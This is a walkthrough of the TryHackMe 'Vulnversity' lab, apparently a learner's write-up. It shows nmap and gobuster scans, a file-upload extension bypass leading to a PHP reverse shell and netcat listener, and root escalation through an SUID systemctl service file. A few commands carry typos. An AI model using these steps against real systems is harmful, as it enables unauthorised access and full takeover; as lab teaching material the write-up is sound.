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TryHackMe/Vulnversity.md
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TryHackMe/Vulnversity.md
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# TryHackMe-Vulnversity
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>Abdullah Rizwan | 15th September , 08 : 29 PM
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#NMAP
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```
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nmap -sC -sV $IP
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```
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```
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Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-15 20:30 EDT [11/18]
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Nmap scan report for 10.10.233.54
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Host is up (0.17s latency).
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Not shown: 994 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp vsftpd 3.0.3
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22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
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| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
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|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
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139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
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445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
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3128/tcp open http-proxy Squid http proxy 3.5.12
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|_http-server-header: squid/3.5.12
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|_http-title: ERROR: The requested URL could not be retrieved
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3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Vuln University
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Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Host script results:
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|_clock-skew: mean: -7h39m58s, deviation: 2h18m34s, median: -8h59m59s
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|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
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| smb-os-discovery:
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| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
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| Computer name: vulnuniversity
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| NetBIOS computer name: VULNUNIVERSITY\x00
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| Domain name: \x00
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| FQDN: vulnuniversity
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|_ System time: 2020-09-15T11:30:49-04:00
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| smb-security-mode:
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| account_used: guest
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| authentication_level: user
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| challenge_response: supported
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|_ message_signing: disabled (dangerous, but default)
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| smb2-security-mode:
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| 2.02:
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|_ Message signing enabled but not required
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| smb2-time:
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| date: 2020-09-15T15:30:50
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|_ start_date: N/A
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 45.13 seconds
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````
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## Dirbuster
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```
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gobuster dir -u http://10.10.233.54:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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```
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```
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.233.54:3333
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[+] Threads: 10
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[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/09/15 20:40:18 Starting gobuster
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===============================================================
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/images (Status: 301)
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/css (Status: 301)
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/js (Status: 301)
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/fonts (Status: 301)
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/internal (Status: 301)
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```
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`/internal` is a page where we can upload an image and through `/images` we can view it.
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## Burpsuite
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Now we can not upload a php reverse shell due to it's extension is not allowed so we can make wordlist of possible php extension to by pass blacklist
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```
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.php
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.php3
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.php4
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.php5
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.phphtml
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.phpgif
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.gifphp
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```
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`.phtml` is the only extension that is accepted so we are going to change our reverse shell's extension and then upload and set a net cat listener on our terminal
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```
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nc -lvp 5555
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```
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And access the reverse shell on the web server
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```
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http://10.10.233.54:3333/internal/uploads/php-reverse-shell.phtml
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```
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## Stabilize Shell
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First get a bash with `python -c 'import pty; pty.spawn("/bin/bash")'` Then
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1. ctrl+z
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2. stty raw -echo
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3. type fg and press enter x2.
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You will get a stabilize shell with auto tab complete and then `export TERM=xterm ` for using clear command.
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## Privilege Escalation
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Now we have to find a file which has SUID means which can set SUID permissions so we can issue a command to find these files
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`find / -perm /4000`
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And we will find `sytemctl` which can set SUID
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Now search for systemctl on `GTFOBINS` and slightly modifying the command `chmod +s /bin/bash` it will set SUID on bash to run as root
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```
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TF=$(mktemp).service
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echo '[Service]
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Type=oneshot
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ExecStart=/bin/sh -c "chmod +s /bin/bash"
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[Install]
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WantedBy=multi-user.target' > $TF
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/bin/systemctl link $TF
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/bin/systemctl enable --now $TF
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```
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Now run the command `bash-p` You will be root.
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